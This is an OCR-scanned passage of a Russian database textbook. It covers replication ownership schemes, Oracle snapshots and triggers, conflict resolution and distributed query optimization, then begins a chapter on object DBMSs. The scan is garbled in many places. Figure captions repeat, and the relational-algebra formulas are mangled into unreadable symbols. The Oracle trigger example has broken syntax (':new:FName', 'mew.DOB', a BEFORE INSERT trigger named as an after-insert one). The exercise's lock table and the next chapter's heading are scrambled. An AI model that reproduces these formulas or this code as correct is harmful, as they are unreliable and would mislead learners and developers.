(a)(a)Ведомый сайт (только чтение)Ведомый сайт (только чтение)Ведомый сайт (только чтение)Ведомый сайт (только чтение)Ведущий сайт (чтение/запись)Ведущий сайт (чтение/запись)Рис. 20.13. Владение данными по схеме “ведухций/ведомый”: а) распределение данных; б) консолидация данныхРис. 20.13. Владение данными по схеме “ведухций/ведомый”: а) распределение данных; б) консолидация данныхВедомый сайт(только чтение)Ведомый сайт(только чтение)Ведомый сайт(только чтение)Ведомый сайт(только чтение)Ведомый сайт (только чтение)Ведомый сайт (только чтение)
(a)
(a)
Ведомый сайт (только чтение)
Ведомый сайт (только чтение)
Ведомый сайт (только чтение)
Ведомый сайт (только чтение)
Ведущий сайт (чтение/запись)
Ведущий сайт (чтение/запись)
Рис. 20.13. Владение данными по схеме “ведухций/ведомый”: а) распределение данных; б) консолидация данных
Рис. 20.13. Владение данными по схеме “ведухций/ведомый”: а) распределение данных; б) консолидация данных
Ведомый сайт(только чтение)
Ведомый сайт(только чтение)
Ведомый сайт(только чтение)
Ведомый сайт(только чтение)
Ведомый сайт (только чтение)
Ведомый сайт (только чтение)
Ведущий сайт может владеть данными всей таблицы, и в этом случае все остальные сайты являются лишь подписчиками на копии этой таблицы, доступные только для чтения. В альтернативном варианте многие сайты владеют отдельными фрагментами таблицы, а остальные сайты могут выступать как подписчики копий каждого из этих фрагментов, доступных им только для чтения. Этот тип репликации называют асимметричной репликацией.
В распределенной СУБД компании DreamHome каждому отделению может быть позволено владеть своими собственными горизонтальными фрагментами таблиц Ргор- erty_for_Rent, Renter и Lease_Agreement. Сайт центрального правления компании может подписаться на данные, принадлежащие каждому из отделений компании, после чего консолидировать поступившие копии в доступные только для чтения сводные таблицы с информацией об объектах недвижимости, клиентах и заключенных соглашениях по всей компании в целом.
Схема владения „рабочий поток"
Как и в случае схемы “ведущий/ведомый”, в этой модели удается избежать появления конфликтов обновления, хотя данной модели свойствен больший динамизм. Схема владения “рабочий поток” позволяет передавать право обновления реплицируемых данных от одного сайта другому. Однако в каждый конкретный момент времени существует только один сайт, имеющий право обновлять некоторый конкретный набор данных. Типичным примером использования схемы рабочего потока является система обработки заказов, в которой работа с каждым заказом выполняется в несколько этапов, например оформление заказа, контроль кредитоспособности, выписка счета, доставка и т.д.
Централизованные системы позволяют приложениям, выполняющим отдельные этапы обработки, получать доступ и обновлять данные в одной интегрированной базе данных. Каждое приложение обновляет данные о заказе по очереди тогда и только тогда, когда состояние заказа указывает, что предыдущий этап обработки уже завершен. В модели владения “рабочий поток” приложения могут быть распределены по различным сайтам, и когда данные реплицируются и пересылаются на следующий сайт в цепочке, вместе с ними передается и право на их обновление, как показано на рис. 20.14.
Рис. 20.14. Схема владения “рабочий поток”
Схема владения „повсеместное обновление" (симметричная репликация)
У двух предыдущих моделей есть одно общее свойство: в любой заданный момент времени только один сайт имеет право обновлять данные. Всем остальным сайтам доступ к репликам данным будет разрешен только для чтения. В некоторых случаях это ограничение оказывается слишком жестким. Схема владения с повсеместным обновлением создает равноправную среду, в которой множество сайтов имеют одинаковые права на обновление реплицируемых данных. В результате локальные сайты получают возможность работать автономно, даже в тех случаях, когда другие сайты недоступны. Например, в компании DreamHome может быть принято решение организовать “горячую линию”, с помощью которой потенциальные клиенты, желающие приобрести или взять в аренду объекты недвижимости, смогут позвонить по бесплатной междугородной телефонной линии и описать интересующий их тип объектов, договориться о просмотре объектов или вообще выполнить любые действия, которые были бы возможны в случае посещения клиентом отделения компании. Подобная телефонная служба была организована в каждом отделении компании. Все звонки автоматически переправляются в отделение компании, ближайшее к месту нахождения клиента. Например, если клиент интересуется объектами недвижимости в Лондоне, но звонит из Глазго, то его вызов направляется в отделение компании, расположенное в Глазго. Система телекоммуникации поддерживает баланс нагрузки, поэтому если телефонная линия в Глазго будет занята, то вызов клиента переправят в Эдинбург. Каждый центр обработки звонков клиентов должен иметь доступ к данным, принадлежащим всем остальным отделениям компании, и в случае необходимости иметь право обновлять записи, реплицированные с других сайтов, как показано на рис. 20.15.
ЛондонЭдинбург
(чтение/запись)(чтение/запись)
Рис. 20.15. Схема вычислительной среды с симметричной репликацией
Разделение права владения может вызвать возникновение в системе конфликтов, поэтому служба репликации в этой схеме должна использовать тот или иной метод выявления и разрешения конфликтов. Подробнее об этом речь пойдет чуть позже.
Сохранение целостности транзакций
Первые попытки реализации механизма репликации по самой своей сути не предусматривали сохранения целостности транзакций. Данные копировались без сохранения свойства атомарности транзакций, что потенциально могло привести к утрате целостности распределенных данных. Этот подход проиллюстрирован на рис. 20.16, а. В данном случае транзакция, состоящая на исходном сайте из нескольких операций обновления данных в различных таблицах, в процессе репликации преобразовывалась в серию отдельных транзакций, каждая из которых обновляла данные в одной из таблиц. Если часть этих транзакций на целевом сайте завершалась успешно, а остальная часть — нет, то согласованность информации между двумя базами данных утрачивалась.
Исходная база данныхИсходная база данныхЦелевая база данныхЦелевая база данных
Исходная база данных
Исходная база данных
Целевая база данных
Целевая база данных
(а)
(б)
Рис. 20.16. Репликация транзакций: а) без соблюдения свойства атомарности; б) с соблюдением атомарности транзакций
В противоположность этому, на рис. 20.16, б показан пример репликации с сохранением структуры транзакции в исходной базе данных.
Моментальные снимки таблиц
Метод моментальных снимков таблиц позволяет асинхронно распространять результаты изменений, выполненных в отдельных таблицах, группах таблиц, представлениях или фрагментах таблиц в соответствии с заранее установленным графиком, например ежедневно в 23.00. В СУБД Oracle 8 описать моментальный снимок со сведениями о персонале отделения компании с номером 'В5' можно с помощью следующих операторов:
CREATE SNAPSHOT local_staff
REFRESH FAST
START WITH sysdate NEXT sysdate + 7
AS SELECT * FROM Staff@Staff_Master_Site WHERE bno = 'B5';
В этом примере предложение SELECT определяет те строки ведущей таблицы (расположенной на сайте Staff_Master_Site), которые должны подвергаться репликации. Предложение REFRESH определяет конкретный механизм СУБД Oracle, который должен применяться при обновлении описываемого моментального снимка. Возможны три различных варианта: FAST, COMPLETE и FORCE. Если параметр REFRESH имеет значение FAST, в моментальный снимок из ведущей таблицы отсылаются только те строки, которые были изменены. Если значение параметра равно COMPLETE, вся информация в моментальном снимке формируется заново. Значение параметра FORCE позволяет СУБД Oracle самостоятельно выбрать оптимальный вариант пересылки данных (FAST или COMPLETE). Предложение START WITH указывает, что создаваемый моментальный снимок должен обновляться раз в семь дней, начиная с текущего. Если одновременно должны быть обновлены два или больше моментальных снимков (например, из соображений сохранения целостности между двумя таблицами), СУБД Oracle позволяет определить группу обновляемых моментальных снимков.
Общий подход к созданию моментальных снимков состоит в использовании файла журнала восстановления базы данных, который позволяет минимизировать уровень дополнительной нагрузки на систему. Основная идея состоит в том, что файл журнала является лучшим источником для получения сведений об изменениях в исходных данных. Достаточно иметь механизм, который будет обращаться к файлу журнала для выявления изменений в исходных данных, после чего распространять обнаруженные изменения на целевые базы данных, не оказывая никакого влияния на нормальное функционирование исходной системы. Различные СУБД реализуют подобный механизм по-разному: в некоторых случаях данный процесс является частью самого сервера СУБД, тогда как в других случаях он реализуется как независимый внешний сервер.
Для отправки сведений об изменениях на другие сайты целесообразно применять метод организации очередей. Если произойдет отказ сетевого соединения или целевого сайта, сведения об изменениях могут сохраняться в очередях до тех пор, пока соединение не будет восстановлено. Для гарантии сохранения согласованности данных порядок доставки сведений на целевые сайты должен сохранять исходную очередность внесения изменений.
Триггеры базы данных
Альтернативный подход заключается в предоставлении пользователям возможности создавать собственные приложения, выполняющие репликацию данных с использованием механизма триггеров базы данных. В этом случае на пользователей возлагается ответственность за написание тех триггерных процедур, которые будут вызываться при возникновении соответствующих событий, например при создании новых записей или обновлении уже существующих. В частности, в СУБД Oracle для поддержания копии таблицы Staff на некотором удаленном сайте (адресуемом с помощью связи с именем Staff_Duplicate_Link) можно использовать следующую процедуру:
CREATE TRIGGER staff_after_ins_row
BEFORE INSERT ON Staff
FOR EACH ROW
BEGIN
INSERT INTO Staff_Duplicate@Staff_Duplicate_Link
VALUES (:new.Sno, :new:FName, :new:LName, :new.Address, :new:Tel_No,
:new.Position, :new:Sex, mew.DOB, :new:Salary, :new.NIN, :new:Bno); END;
Этот триггер будет вызываться при вставке в таблицу Staff каждой новой записи.
Хотя подобный подход предоставляет большую гибкость, чем механизм создания моментального снимка, ему также присущи определенные недостатки.
Отслеживание запуска и выполнение триггерных процедур создает дополнительную нагрузку на систему.
Триггеры выполняются при каждом изменении строки в ведущей таблице. Если ведущая таблица подвержена частым обновлениям, вызов триггерных процедур
может создать существенную дополнительную нагрузку на приложения и сетевые соединения. В противоположность этому, при использовании моментальных снимков все выполненные изменения пересылаются за одну операцию.
Триггеры не могут выполняться в соответствии с некоторым графиком. Они выполняются в тот момент, когда происходит обновление данных в ведущей таблице. Моментальные снимки могут создаваться в соответствии с установленным графиком или даже вручную. В любом случае это позволяет исключить дополнительную нагрузку от репликации данных в периоды пиковой нагрузки на систему.
Если реплицируется несколько связанных таблиц, синхронизация их репликации может быть достигнута за счет использования механизма групповых обновлений. Решить эту задачу с помощью триггеров существенно сложнее.
Аннулирование результатов выполнения триггерной процедуры в случае отмены или отката транзакции — достаточно сложная задача.
Выявление и разрешение конфликтов
Когда несколько сайтов могут независимо вносить изменения в реплицируемые данные, необходимо использовать некоторый механизм, позволяющий выявлять конфликтующие обновления данных и восстанавливать согласованность информации в базе. Простейший механизм обнаружения конфликтов в отдельной таблице состоит в рассылке исходным сайтом как новых, так и исходных значений измененных данных для каждой строки, которая была обновлена с момента последней синхронизации копий. На целевом сайте сервер репликации должен сравнить с полученными значениями каждую строку в целевой базе данных, которая была локально изменена за данный период. Однако этот метод требует установки дополнительных соглашений для обнаружения других типов конфликтов, например нарушения ссылочной целостности между двумя таблицами.
Было предложено несколько различных механизмов разрешения конфликтов, однако чаще всего применяются следующие.
Самая ранняя или самая поздняя временная отметка. Изменяются соответственно данные с самой ранней йли самой поздней временной отметкой.
Приоритеты сайтов. Применяется обновление, поступившее с сайта с наибольшим приоритетом.
Дополняющие и усредненные обновления. Введенные изменения обобщаются. Этот вариант разрешения конфликтов может использоваться в тех случаях, когда обновление атрибута выполняется операциями, записанными в форме отклонений, например salary = salary + х.
Минимальное или максимальное значение. Применяются обновления, соответствующие столбцу с минимальным или максимальным значением.
По решению пользователя. АБД создает собственную процедуру разрешения конфликта. Для устранения различных типов конфликтов могут быть подготовлены различные процедуры.
Сохранение информации для принятия решения вручную. Сведения о конфликте записываются в журнал ошибок для последующего анализа и устранения администратором базы данных вручную.
Оптимизация распределенных запросов
В главе 18, “Обработка запросов” мы обсудили вопросы обработки и оптимизации запросов в централизованных реляционных СУБД. Рассматривались два метода оптимизации запросов:
использование эвристических правил для переупорядочивания операций запроса;
сравнение различных стратегий на основе их относительных оценок и выбор стратегии с минимальным использованием системных ресурсов.
Поскольку доступ к данным на диске осуществляется во много раз медленнее, чем доступ к данным в оперативной памяти, оценка стоимости различных стратегий выполнения запроса в централизованных СУБД устанавливалась нами по количеству требуемых дисковых операций. Именно этот единственный показатель учитывался в главе 18 при определении оценки стоимости. Однако в распределенной среде при сравнении различных стратегий во внимание следует принимать и скорость передачи данных по имеющимся сетевым соединениям. Как уже упоминалось выше, в разделе 19.5.3, некоторые соединения в глобальных вычислительных сетях (ГВС) могут иметь скорость передачи данных, равную лишь нескольким килобайтам в секунду. Если для конкретной сети известно, что она имеет топологию ГВС, то можно игнорировать все другие оценки стоимости, за исключением стоимости передачи данных по глобальной сети. Локальные вычислительные сети (ЛВС) обычно имеют существенно более высокую скорость передачи данных, чем ГВС, однако она все же ниже скорости доступа к данным на жестком диске. В обоих случаях по-прежнему может применяться наше общее правило оптимизации запросов, требующее минимизировать размер всех выполняемых операций реляционной алгебры и выполнять любые унарные операции до выполнения бинарных.
Преобразование распределенных запросов
В главе 18 мы сначала представляли оптимизируемые запросы в виде дерева реляционной алгебры, после чего это дерево с помощью правил преобразования приводилось в эквивалентную форму, имеющую более высокие показатели скорости обработки. При работе с распределенными запросами на начальной стадии применяется тот же самый подход. Однако при применении эвристических стратегий оптимизации, обсуждавшихся в разделе 18.3.2, к глобальным запросам следует принять во внимание наличие распределенности данных в сети. С этой целью мы заменим расположенные в листьях дерева глобальные отношения их алгоритмами реконструкции. Последние представляют собой операции реляционной алгебры, необходимые для реконструкции глобальных отношений из фрагментов, на которые эти отношения разбиты. При горизонтальной фрагментации алгоритм реконструкции будет состоять из операций объединения. В случае вертикальной фрагментации этот алгоритм будет включать операции соединения. Дерево реляционной алгебры запроса, дополненное требуемыми алгоритмами реконструкции, в некоторых случаях называют общим деревом реляционной алгебры. Следовательно, для построения упрощенного и оптимизированного запроса мы будем использовать методы упрощения общих деревьев реляционной алгебры. Конкретный тип применяемого метода упрощения будет зависеть от особенностей фрагментации данных в системе. Ниже мы рассмотрим методы упрощения для следующих типов фрагментации:
простая горизонтальная фрагментация;
вертикальная фрагментация;
производная фрагментация.
Методы упрощения для простой горизонтальной фрагментации
Для простой горизонтальной фрагментации мы рассмотрим две возможные методики: сокращение операций выборки и упрощение операций соединения. В первом варианте утверждается, что если предикат операции выборки противоречит определению фрагмента, то результирующая таблица окажется пустой, поэтому данную операцию выборки можно исключить. Во втором случае предлагается сначала применить правило преобразования, по которому операция соединения может быть заменена операцией объединения результатов частичных соединений:
(RI u R2) tx R3 = (RI tx R3) u (R2 ex R3)
Затем анализируется, не является ли каждая частичная операция соединения бесполезной и нельзя ли ее безболезненно исключить. Соединение будет бесполезно в том случае, если предикаты используемых фрагментов не перекрываются. Это правило преобразования очень важно в распределенной СУБД, поскольку позволяет реализовать соединение двух отношений как объединение частичных соединений, каждое из которых может выполняться параллельно с другими. Проиллюстрируем применение двух приведенных выше правил на примере.
Пример20.2. Упрощение В случае
простой горизонтальной фрагментации
Составьте список квартир, сданных в аренду, с указанием сведений о соответствующем отделении компании.
Этот запрос может быть представлен следующим SQL-оператором:
SELECT *
FROM branch b, property_for_rent p
WHERE b.bno = p,bno AND p.type = 'Flat';
Теперь предположим, что отношения Property_for_Rent и Branch разбиты на горизонтальные фрагменты по следующему правилу:
fi: <W'B3' A type-'House'(PropertyJor^Rent)Bj? abn0,/B3'(Branch)
P2: <*bno-'B3' A type«*FUt'(PropertyJorJent)B2; аЬпо!^вз'(Branch)
P3: ^ьпо^вз' (Property_f orient)
Общее дерево реляционной алгебры для этого запроса показано на рис. 20.17, а. Если упростить операции выборки и объединения, то получим дерево реляционной алгебры, показанное на рис. 20.17, б. Это дерево получено после выяснения того факта, что следующие ветви исходного дерева являются избыточными (т.е. не вносят в результат ни одного кортежа):
^type“'Flat' (Pl) ~ ^type»'Flat'($bno»'B3* a type-'House' (PrOperty_for_Rent)) s 0
Более того, поскольку предикат операции выборки является подмножеством определения фрагмента Р2, эта операция выборки не нужна. Если теперь упростить операции соединения и объединения, получим дерево реляционной алгебры, показанное на рис. 20.17, в. Поскольку второе и третье соединения не вносят в результат ни одного кортежа, их можно исключить. В результате мы получим окончательный вариант сокращенного дерева запроса, показанный на рис. 20.17, г.
Методы упрощения для вертикальной фрагментации
Упрощение в случае вертикальной фрагментации предусматривает удаление тех вертикальных фрагментов, которые не имеют общих атрибутов с условием проекции, за исключением ключа отношения.
Рис. 20.17. Дерево реляционной алгебры для запроса из примера 20.2: а) общее дерево запроса; б) дерево, полученное после удаления операции выборки; в) дерево, полученное поле замены операции соединения операцией объединения: г) окончательный вариант упрощенного дерева запросаРис. 20.17. Дерево реляционной алгебры для запроса из примера 20.2: а) общее дерево запроса; б) дерево, полученное после удаления операции выборки; в) дерево, полученное поле замены операции соединения операцией объединения: г) окончательный вариант упрощенного дерева запросаР2 Bi °р ptype-Hat' В2Р2 Bi °р ptype-Hat' В2Рз(Г)Рз(Г)
Рис. 20.17. Дерево реляционной алгебры для запроса из примера 20.2: а) общее дерево запроса; б) дерево, полученное после удаления операции выборки; в) дерево, полученное поле замены операции соединения операцией объединения: г) окончательный вариант упрощенного дерева запроса
Рис. 20.17. Дерево реляционной алгебры для запроса из примера 20.2: а) общее дерево запроса; б) дерево, полученное после удаления операции выборки; в) дерево, полученное поле замены операции соединения операцией объединения: г) окончательный вариант упрощенного дерева запроса
Р2 Bi °р ptype-Hat' В2
Р2 Bi °р ptype-Hat' В2
Рз
(Г)
Рз
(Г)
Пример 20.3. Упрощение 6 случае вертикальной фрагментации
Составьте список имен всех сотрудников компании.
Этот запрос может быть представлен следующим SQL-оператором:
SELECT fname, Iname
FROM staff;
Si:Si:S2:S2:В этом примере мы воспользуемся той же схемой фрагментации отношения Staff, которую использовали в примере 19.3:
Si:
Si:
S2:
S2:
Пзпо, position, sex, dob, salary, nin(Staff) ^sno, fname, Iname, address, tel no, bno( Staff)
Общее дерево реляционной алгебры для этого запроса показано на рис. 20.18, а. , После применения правила подстановки операций проекции и соединения операция проекции для фрагмента Sj оказывается излишней, поскольку требуемые атрибуты FName и LNane в этом фрагменте отсутствуют. Упрощенное дерево запроса показано на рис. 20.18, б.
Hfname, InameHfname, Iname
Hfname, Iname
Hfname, Iname
(6)
Рис. 20.18. Дерево реляционной алгебры для запроса из примера 20.3: а) общее дерево запроса; б) упрощенное дерево запроса
Методы упрощения для производной фрагментации
Упрощение в случае производной фрагментации также предусматривает применение правила преобразования, по которому операция соединения может быть заменена операцией объединения результатов частичных соединений. В этом случае используется знание того, что фрагментация одного отношения выполнена на основе фрагментации другого, поэтому после замены операций некоторые из частичных соединений могут оказаться избыточными.
Рис. 20.19. Дерево реляционной алгебры для запроса из примера 20.4: а) общее дерево запроса; б) упрощенное дерево запроса после подстановки операций соединения и объединения; в) окончательный вариант упрощенного дерева запросаРис. 20.19. Дерево реляционной алгебры для запроса из примера 20.4: а) общее дерево запроса; б) упрощенное дерево запроса после подстановки операций соединения и объединения; в) окончательный вариант упрощенного дерева запроса(в)(в)
Рис. 20.19. Дерево реляционной алгебры для запроса из примера 20.4: а) общее дерево запроса; б) упрощенное дерево запроса после подстановки операций соединения и объединения; в) окончательный вариант упрощенного дерева запроса
Рис. 20.19. Дерево реляционной алгебры для запроса из примера 20.4: а) общее дерево запроса; б) упрощенное дерево запроса после подстановки операций соединения и объединения; в) окончательный вариант упрощенного дерева запроса
(в)
(в)
Пример 20.4. Упрощение 6 случае производной фрагментации
Составьте список арендаторов, зарегистрированных в отделении компании с номером 'ВЗ', с указанием сведений об этом отделении.
Этот запрос может быть представлен следующим SQL-оператором:
SELECT *
FROM branch b, renter r
WHERE b.bno = r.bno AND b.bno = 'B3';
Предположим, что фрагментация отношения Branch выполнена так, как показано в примере 20.2, а фрагментация отношения Renter является производной от фрагментации отношения Branch:
Bi s <^ьпо=,вз' (Branch)В2 = abno!=,B3< (Branch)
Ri = Renter >bno Bf1 = 1,2
Общее дерево реляционной алгебры для этого запроса показано на рис. 20.19, а. После применения правила подстановки операций выборки и объединения операция выборки для фрагмента В2 оказывается излишней и может быть исключена.
Сама операция выборки также может быть исключена, поскольку фрагмент Bj определен для отделения компании с номером 'ВЗ'. Если теперь выполнить подстановку операций соединения и объединения, будет получено дерево, показанное на рис. 20.19, б. Вторая операция соединения между фрагментами Bj и R2 даст пустой результат и может быть безболезненно удалена. Окончательный вид упрощенного дерева показан на рис. 20.19, в.
Операции соединения в распределенной среде
Операция соединения является одной из наиболее дорогостоящих операций реляционной алгебры. Один из подходов, который может использоваться при оптимизации распределенных запросов, состоит в замене соединений комбинацией операций полусоединения (см. раздел 3.4.1). Операция полусоединения имеет важное свойство: она позволяет сократить размер обрабатываемого отношения. Когда наиболее дорогостоящим компонентом является время передачи данных, операция полусоединения может оказаться весьма полезной для ускорения обработки распределенных операций соединения, поскольку позволит сократить объем данных, подлежащих пересылке между сайтами.
Например, предположим, что на сайте S2 требуется получить результат операции соединения Rj ▻< х R2, где R} и R2 являются фрагментами, сохраняемыми на сайтах Sj и S2 соответственно. Фрагменты Rj и R2 определены на атрибутах A=(alf а2, ... , ап) и B=(blf b2, ... , bm) соответственно. Данное выражение можно переписать с использованием операции полусоединения:
Rj ^^^х ^2 ~ (^1 ^Х ^2) ^^ ^2
Таким образом, требуемый результат можно получить с помощью следующих манипуляций.
Вычислить R' = HX(R2) на сайте S2 (атрибуты, необходимые для соединения на сайте SJ.
Передать R' на сайт Sp
Вычислить R" = Rj >х R' на сайте Sp
Передать R" на сайт S2.
Вычислить R" txx R2 на сайте S2.
Использование полусоединения имеет смысл только в том случае, если лишь незначительная часть кортежей отношения Rx будет участвовать в операции соединения отношений RJ и R2. Если в соединении будет участвовать большинство кортежей отношения Rp то лучше сохранить операцию соединения, поскольку при использовании полусоединения дополнительно потребуется передача проекции соединяемых атрибутов. Подробную информацию о методах использования операции полусоединения заинтересованный читатель найдет в работе Бернштейна и Чуи (Bernstein and Chiu, 1981). Следует отметить, что операции полусоединения не используются в какой-либо из ведущих коммерческих СУРБД.
Резюме
Цели, стоящие при обработке распределенных транзакций, не отличаются от преследуемых при обработке транзакций в централизованных системах. Однако достичь этих целей в случае СУРБД сложнее, поскольку требуется обеспечить неделимость не только глобальной транзакции в целом, но и всех ее субтранзакций.
Если графики выполнения транзакций на каждом из сайтов упорядочены, то глобальный график (объединение всех локальных графиков) также будет упорядочен с тем же типом, что и локальные графики. Это означает, что все суб-
транзакции будут появляться в одном и том же порядке в эквивалентных последовательных графиках на всех сайтах.
Для обеспечения распределенной упорядоченности могут использоваться два метода: с использованием блокирования или временных отметок. Двухфазный протокол блокирования требует, чтобы в транзакции все требуемые блокировки были установлены до отмены хотя бы одной из них. Протоколы двухфазной блокировки могут использовать централизованную схему, схему с первичными копиями и распределенную схему. Кроме того, может использоваться метод блокирования большинства. При использовании временных отметок транзакции упорядочиваются таким образом, что наиболее старые транзакции в случае конфликта получают преимущество.
Выявление ситуаций распределенной взаимной блокировки требует слияния локальных графов ожидания с последующим анализом глобального графа на наличие петель. При обнаружении петли для ее устранения одна или более транзакций должны быть отменены и перезапущены. В распределенных СУБД существуют три общие схемы выявления распределенной взаимной блокировки: централизованная, иерархическая и распределенная.
Специфическими причинами отказов в распределенной среде являются потеря сообщений, отказ линий связи и сетевых соединений, отказ отдельных сайтов и расчленение сети. Для организации восстановления на каждом из сайтов создается локальный журнал регистрации событий, который используется для отката и повторного выполнения транзакций, необходимого при восстановлении после отказа.
Двухфазный протокол фиксации транзакций состоит из этапов голосования и принятия глобального решения. На первом этапе координатор опрашивает участников об их готовности к фиксации транзакции. Если хотя бы один из участников проголосует за отмену транзакции, глобальная транзакция и все ее локальные субтранзакции будут отменены. Глобальная транзакция может быть зафиксирована только в том случае, если все участники проголосовали за фиксацию результатов. При использовании двухфазного протокола фиксации транзакций в среде, подверженной отказам, некоторые сайты могут остаться заблокированными.
Трехфазный протокол фиксации транзакций является неблокирующим. Он предполагает рассылку координатором транзакции между этапами голосования и принятия решения дополнительных сообщений в адрес всех участников транзакции. Эти сообщения указывают участникам на необходимость перейти в состояние предфиксации транзакции.
Модель Х/Open DTP представляет собой один из вариантов архитектуры обработки распределенных транзакций, построенной на применении протокола OSI-TP и двухфазного протокола фиксации транзакций. В этой модели определяются прикладные программные интерфейсы и методы взаимодействия между приложениями, запускающими транзакции, менеджерами транзакций, менеджерами ресурсов и менеджерами передачи данных.
Репликацией называется процесс генерации и воспроизведения нескольких копий данных на одном или более сайтов. Это очень важный механизм, поскольку с его помощью организации могут предоставлять своим пользователям доступ к актуальной информации там и тогда, когда это им требуется. Использование репликации позволяет достичь многих преимуществ, включая повышение производительности (в тех случаях, когда централизованные ресурсы оказываются перегруженными), повышение надежности хранения и доступности данных, а также обеспечение поддержки мобильных пользователей и хранилищ данных, предназначенных для систем поддержки принятия решений.
Хотя асинхронное распространение изменений нарушает принцип независимости распределенных данных, на практике этот метод оказывается удобным компромиссом между требованиями поддержки целостности и доступности данных. Он может оказаться более удобным для организаций, которые допускают работу с копиями данных, необязательно синхронизованными на текущий момент.
Моделями владения для реплицируемых данных могут быть модели “ведущий/ведомый”, “рабочий поток” и “повсеместное обновление”. В первых двух моделях все копии данных доступны только для чтения. В последнем варианте модели обновления могут независимо вноситься в любую из существующих копий, поэтому для сохранения целостности данных в системе необходимо использование механизма выявления и разрешения возможных конфликтов обновления данных.
Типичными механизмами организации репликации являются использование моментальных снимков таблиц и триггеров базы данных. Распространение сведений об обновлениях данных может проводиться с соблюдением и без соблюдения целостности транзакций.
Когда основным компонентом, определяющим стоимость операции, является время передачи данных, может оказаться полезным использовать операции полусоединения. Это может дать выигрыш в скорости выполнения распределенных соединений за счет уменьшения количества данных, пересылаемых между сайтами.
Вопросы
В распределенной среде блокирующие алгоритмы могут классифицироваться как централизованные, с первичными копиями или распределенные. Дайте сравнительную оценку этих алгоритмов и укажите на существующие различия.
Один из наиболее известных методов выявления ситуаций распределенной взаимной блокировки был разработан Обермарком. Поясните принципы работы этого метода и объясните применяемые способы обнаружения и устранения взаимной блокировки.
Приведите две централизованные топологии, альтернативные по отношению к топологии двухфазной фиксации транзакций.
Объясните смысл термина “неблокирующий протокол” и поясните, почему двухфазный протокол фиксации транзакций нельзя считать неблокирующим.
Поясните, почему трехфазный протокол фиксации транзакций можно считать неблокирующим в случае отсутствия полного отказа сайтов.
Сравните и укажите отличия между разными схемами владения реплицируемыми данными. Проиллюстрируйте свой ответ на примерах.
Сравните различные механизмы репликации в базах данных и укажите отличия между ними.
Упражнения
Подробно опишите функционирование централизованного варианта двухфазного протокола фиксации транзакций в распределенной среде. Отдельно опишите алгоритм работы координатора и участника.
Подробно опишите функционирование трехфазного протокола фиксации транзакций в распределенной среде. Отдельно опишите алгоритм работы координатора и участника.
Проанализируйте особенности СУБД, с которой вы в настоящее время работаете, и установите предоставляемую ей степень поддержки модели Х/Ореп DTP и репликации данных.
Исполнительный директор компании DreamHome предложил вам провести исследование тех требований, которые существуют в этой организации в отношении распределения данных, и подготовить отчет о потенциальной возможности использования распределенной СУБД. В отчете должно быть представлено сравнение технологий централизованной и распределенной СУБД, а также описаны преимущества и недостатки развертывания СУРБД в данной организации. Кроме того, вы должны указать потенциальные области возникновения проблем и дать оценку целесообразности использования серверов репликации как альтернативы переходу компании к работе в распределенной среде. Наконец, в отчете необходимо тщательно обосновать набор рекомендаций и предложений по выбору наиболее подходящего случаю решения.
Рассмотрим пять транзакций: Т1# Т2, Т3, Т4 и Т5 со следующими характеристиками:
Тз
инициируется
на
сайте Si
и
запускает
агента
на
сайте S2,
т2
инициируется
на
сайте S3
и
запускает
агента
на
сайте Sp
Тз
инициируется
на
сайте S3
и
запускает
агента
на
сайте S3,
Т4
инициируется
на
сайте S2
и
запускает
агента
на
сайте S3,
т5
инициируется
на
сайте S3.
Информация о блокировках для этих транзакций представлена в табл. 20.3.
Таблица 20.3. Информация о блокировках
Транзакция
Элемент данных, заблокированный транзакцией
Элемент данных, требуемый транзакции
Сайт, на котором выполняется операция
Тз
Х1
х8
S3
Тз
Х6
Х2
s2
т2
х4
X)
S3
т2
Х5
S3
Тз
Х2
Х7
S3
Тз
Хз
S3
т4
Х7
S2
Т4
Х8
Х5
S3
Т5
Хз
Х7
S3■
а) Подготовьте локальные графы ожидания для каждого сайта. Какое заключение можно сделать, исходя из вида этих графов?
Используйте для приведенных транзакций метод Обермарка и покажите, как с его помощью можно обнаружить ситуацию распределенной взаимной блокировки. Какое заключение можно сделать в отношении глобального графа ожидания?
ййййййJ;WRSГЛАВАJ;WRSГЛАВА^|®ilf ание^|®ilf ание
ййй
ййй
J;WRS
ГЛАВА
J;WRS
ГЛАВА
^|®ilf ание
^|®ilf ание
Введение в объектные СУБД
|g|gy^
^^$й|я, предъявляемые сложными
Й^иалцзированными приложениями баз данных.
ч|Й^^реляционные СУБД в настоящее
вр^^^ подходят для поддержки специализированных
1И|р1^данных,.
овные концепции объектно-ориентированного подхода: Д ретракция, инкапсуляция, и сокрытие информации;^ ; '^
^)0ъекты и атрибуты;'
♦ идентичность объекта;
|||трдьг. и с^
классы, подклассы, суперклассы и наследование;
перегрузка^?^ ^
ПОЛИМОр^ЗМ^^^
||||д|£ЙД|^^
Объектно-ориентированный подход является одним из новых подходов к созданию программного обеспечения, который считается очень перспективным для решения некоторых классических проблем разработки программного обеспечения. Базовым понятием объектно-ориентированной технологии является то, что все программное обеспечение должно всегда, когда это возможно, создаваться на основе стандартных и повторно используемых компонентов. Традиционно создание программного обеспечения и управление базами данных представляли собой совершенно разные дисциплины. Технология баз данных была сконцентрирована в основном на статических концепциях хранения информации, тогда как технология создания программного обеспечения моделировала динамические аспекты программного обеспечения. С появлением следующего (третьего) поколения систем управления базами данных, а именно объектно-ориентированных СУБД (ООСУБД) и объектно-реляционных СУБД (ОРСУБД), эти две дисциплины слились воедино, что позволило параллельно моделировать данные и процессы, действующие на эти данные.
Однако это поколение СУБД вызвало горячие споры. Очевидный успех реляционных систем в течение двух последних десятилетий позволяет сторонникам традиционных подходов считать, что реляционную модель достаточно расширить дополнительными (объектно-ориентированными возможностями). Другие специалисты считают, что базовая реляционная модель неспособна адекватно обслуживать такие сложные приложения, как системы автоматизированного проектирования и автоматизированной разработки программного обеспечения, а также геоинформационные системы. Для изучения упомянутых новых типов СУБД и рассмотрения аргументов за и против них в этой и последующих двух главах подробно рассматриваются каждая из упомянутых технологий и связанные с ней вопросы. В данной главе мы обсудим понятия, общие для обоих типов новых систем.
Структура этой главы
В разделе 21.1 рассматриваются основные требования, предъявляемые специализированными приложениями баз данных, которые становятся все более популярными в настоящее время. В разделе 21.2 описываются причины, по которым традиционные реляционные СУБД не подходят для обслуживания новых приложений. В разделе 21.3 представлено введение в основные концепции объектно-ориентированного программирования. Для описания контекста, в котором появились и находятся объектно-ориентированные и объектно-реляционные СУБД, в заключение этой главы кратко излагается история развития СУБД, результатом которой явилось появление третьего поколения систем управления базами данных.
